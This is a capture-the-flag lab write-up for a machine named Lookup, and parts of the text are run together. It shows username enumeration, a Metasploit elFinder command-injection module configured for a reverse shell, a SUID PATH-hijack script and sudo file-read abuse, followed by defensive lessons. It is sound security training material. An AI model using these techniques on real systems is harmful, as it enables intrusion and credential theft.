Lookup is a boot-to-root machine that chains together several real-world vulnerabilities: username enumeration via differential error messages, credential brute-forcing, an elFinder RCE exploit, a SUID binary PATH hijack, and finally privilege escalation via a sudo-allowed look binary. Every step teaches something practical and transferable.
The root redirects to a login page at http://lookup.thm. Nothing else interesting is exposed here.
Step 3: Username Enumeration via Differential Error Messages#
Visiting http://lookup.thm presents a login form. The first real vulnerability is subtle: the login page returns different error messages depending on whether the username exists:
Two valid usernames confirmed: admin and jose. The -mr "Wrong password" flag tells ffuf to only surface responses matching that regex — anything returning "Wrong username or password" is silently discarded, leaving only the valid accounts.
<title>elFinder</title><!-- Rename "main.default.js" to "main.js" and edit it ... --> define('elFinderConfig', {
// elFinder options (REQUIRED)
// https://github.com/Studio-42/elFinder/wiki/Client-configuration-options
// bootCalback calls at before elFinder boot up
'elfinder': {}
<!-- Element where elFinder will be created (REQUIRED) --><divid="elfinder"></div>
Key difference:admin logs in but lands on a dead end with no session cookie issued. jose receives a valid login_status=success cookie and is redirected to files.lookup.thm running elFinder. Always test all discovered accounts — not just the first one that works.
Add the subdomain to /etc/hosts before proceeding:
1
echo"10.48.187.252 files.lookup.thm"| sudo tee -a /etc/hosts
Step 6: Remote Code Execution via elFinder (CVE-2019-9194)#
elFinder versions prior to 2.1.48 are vulnerable to a command injection flaw in the PHP connector’s image rotation feature. A crafted filename containing shell metacharacters is passed unsanitised to exiftran, allowing arbitrary OS command execution.
Metasploit has a ready module for this:
1
msfconsole -q
1
2
3
4
5
use exploit/unix/webapp/elfinder_php_connector_exiftran_cmd_injection
set RHOSTS files.lookup.thm
set LHOST tun0
set LPORT 4444
run
[!] Running 'id' command to extract the username and user ID (UID)
[-] Error executing id command
uid=%*u(%[^)])
[!] ID: %s
/home/%s/.passwords
[-] File /home/%s/.passwords not found
ℹ️
Critical insight:pwm calls the id command via popen() without specifying an absolute path. It parses the output to determine the current username, then opens and prints /home/<username>/.passwords. Since pwm is SUID root, it can read any user’s .passwords file. Since it uses a relative path for id, we can substitute our own.
We create a fake id binary in /tmp that outputs think’s identity, prepend /tmp to $PATH, and run pwm. The SUID binary calls our fake id, parses think as the username, and dumps /home/think/.passwords — which it can read because it’s running as root.
1
2
3
4
5
6
7
8
9
10
11
12
cd /tmp
# Create a fake id binary that impersonates thinkecho'#!/bin/bash' > id
echo'echo "uid=1000(think) gid=1000(think) groups=1000(think)"' >> id
chmod +x id
# Hijack PATH so our fake id is found firstexportPATH=/tmp:$PATH# Run the SUID binary — it now reads /home/think/.passwords/usr/sbin/pwm
Matching Defaults entries for think on ip-10-48-187-252:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
User think may run the following commands on ip-10-48-187-252:
(ALL) /usr/bin/look
The look utility searches for lines in a file beginning with a given prefix string. When called with an empty string'' as the prefix, it matches every line — printing the entire file. Running it via sudo grants effective root-level read access to any file on the system.
1. Username Enumeration via Differential Error Messages#
The login page returned "Wrong password" for valid usernames and "Wrong username or password" for invalid ones — leaking account existence. Always return a single generic error like "Invalid credentials" regardless of which field failed.
Both admin and jose shared the same password — password123. This is among the most common passwords in existence and was cracked in under a minute. Strong, unique passwords per account, combined with login rate-limiting or account lockout, make brute-forcing impractical.
Running elFinder < 2.1.48 exposed the server to unauthenticated RCE via command injection in the exiftran image rotation feature. Always patch third-party software, especially internet-facing file managers.
The custom pwm binary called id without an absolute path (/usr/bin/id), making it trivially exploitable via $PATH manipulation. Any SUID binary that invokes external programs must use absolute paths for every command it calls.
Granting sudo /usr/bin/look gives effective read access to every file on the filesystem. Before adding any binary to sudoers, always check GTFOBins to determine if it can be abused for file read, write, or shell escape.
Cybersecurity professional specializing in Network & Cloud Security, Digital Forensics, and Penetration Testing. Passionate about sharing knowledge and empowering others through hands-on security training.
